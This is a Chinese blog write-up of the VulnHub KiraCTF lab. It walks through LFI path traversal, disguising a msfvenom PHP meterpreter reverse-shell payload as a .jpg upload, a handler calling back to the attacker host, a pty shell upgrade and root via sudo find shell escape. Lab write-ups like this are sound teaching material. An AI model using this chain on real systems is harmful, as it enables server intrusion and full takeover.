KiraCTF靶机WriteUp

本文最后更新于:2021年8月18日下午1点44分

靶机来源:

原链接:http://www.vulnhub.com/entry/kira-ctf,594/

下载地址:

KiraCTF.ova (Size: 3.2 GB) Download: https://mega.nz/file/1WIA0R6K#NMTi2pZIUsRAVlP2ETwMrHFjuZe5na_nfwceIbh8McY

Download (Mirror): https://download.vulnhub.com/kira/KiraCTF.ova

Download (Torrent): https://download.vulnhub.com/kira/KiraCTF.ova.torrent

信息收集&环境介绍:

信息收集前,先将靶机和攻击机的网络桥接至同一块网卡下。

1
arp-scan -l

image-20201227163017163

1
ifconfig

image-20201227163133540

1
nmap 192.168.56.107

image-20201227163221293

信息收集结果:

靶机:192.168.56.107,并且只有在80端口上开放了http服务。

攻击机(kali机):192.168.56.102

搜寻漏洞:

靶机中的http服务内信息收集

在浏览器中浏览靶机的http服务,找找是否有利用的web漏洞。

image-20201227164247913

主页面上有两个按钮

upload按钮页面信息如下,选中一张图片后上传。

image-20201227164352572

language按钮页面信息如下

image-20201227164455804

再点击一下language,payload变成:

1
http://192.168.56.107/language.php?lang=en.php

image-20201227164859164

从payload中可以发现,页面向language.php文件中传了一个名为lang的变量,变量内容还是一个文件名。

因此可以猜测,这个地方可能存在文件包含漏洞。

往浏览器里传参

1
http://192.168.56.107/language.php?lang=../../../../etc/passwd

image-20201227165144548

有回显,代表这里真的存在文件包含漏洞。

结合前面的文件上传按钮,合理推测:整个攻击思路是,上传木马,利用文件包含获得webshell,最后提权。

试错

先随便上传一张“小马”试试——一句话木马

image-20201227165931194

上传失败,回显:文件不是一张图片

image-20201227170108531

上传一张文件头为GIF89a的图片马试试

image-20201227170235232

显示上传成功

因此猜测,靶机使用的是服务端校验,并且对一些非法后缀进行过滤,只允许上传jpg,gif等格式的图片。

常规的上传一句话木马,使用蚁剑、菜刀等工具进行连接的思路已经行不通了。

文件上传

使用msfvenom工具生成木马

1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.102 lport=1234 -o ~/Desktop/pwm/2/ma.php  

#lhost后的地址为kali攻击机的地址,lport后的端口号为后续监听端口号,-o后面为木马生成地址。

由于服务器只能接受图片类型的文件,因此需要把生成的木马修改为图片类型的后缀

1
mv ma.php ma.jpg

上传之后,网页还返回了文件保存的路径

image-20201227171852195

直接访问是无法访问的

image-20201227171937400

启动msfconsole

1
msfconsole

image-20201227175536117

1
2
3
4
5
use exploit/multi/handler  
set payload php/meterpreter/reverse_tcp
set lhost 192.168.56.102     #本机ip
set lport 1234       #与前面的木马中的1234端口一致
exploit

image-20201227175837994

文件包含

在浏览器中利用之前可能存在的文件包含漏洞,访问ma.jpg

image-20201227180032494

这个时候,msfconsole就会有回连

image-20201227180108979

1
ls

image-20201227180206733

查看到有一个supersecret-for-aziz文件夹,进入该文件夹

1
cd supersecret-for-aziz

进入文件夹后,有一个txt文件,内容如下:

image-20201227180342442

这可能是一个用户的密码

image-20201227180442542

果然,结合txt的文件名,可以确定,bassam用户的密码是Password123!@#

尝试登录

image-20201227180539600

尝试登录失败,因为没有交互式shell

查看服务器是否有Python环境

image-20201227180650846

发现服务器中有Python3的环境,但是没有Python2的环境

因此尝试使用python获取交互式shell

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

image-20201227180841731

成功登录bassam用户

提权

提权之前,先查看当前用户具备哪些权限

1
sudo -l

image-20201227181024163

重点来了!!!!

从sudo -l 回显的最后两行中可以知道:

bassam用户可以以任意用户的身份去使用find命令

1
sudo find . -exec /bin/sh -p \; -quit

利用shell逃逸

image-20201227182120103

这个时候,输入bassam用户的密码:Password123!@#

image-20201227182208111

这个时候已经是root用户了

由于这个靶机是CTF类型的,因此我们再找找flag

主目录下有个user.txt,这里的内容挺像flag的

image-20201227182308296

再使用find命令找找flag

1
find / -name flag*

image-20201227182430837

看到了在/root目录下有个flag.txt

image-20201227182507717

总结

整个靶机的思路如下

  1. 利用msfvenom工具生成木马
  2. 利用文件包含,监听回连木马
  3. 获得webshell
  4. 切换为交互式shell
  5. 获得普通用户bassam的账号密码
  6. 利用find命令进行提权

信息参考:


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!